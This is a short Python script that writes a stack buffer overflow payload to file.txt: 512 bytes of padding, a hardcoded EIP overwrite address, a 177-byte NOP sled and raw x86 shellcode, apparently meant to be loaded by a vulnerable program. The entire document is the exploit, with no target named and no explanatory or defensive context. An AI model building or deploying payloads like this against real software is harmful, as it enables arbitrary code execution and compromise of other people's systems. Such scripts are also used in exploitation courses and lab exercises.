garbage = "D" * 512
eip = "\xCB\xC0\x8F\x75"
nopsled = "\x90" * 177
shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"
ToInsert = open ( "file.txt" , "w" )
ToInsert.write(garbage + eip + nopsled + shellcode)
ToInsert.close()
|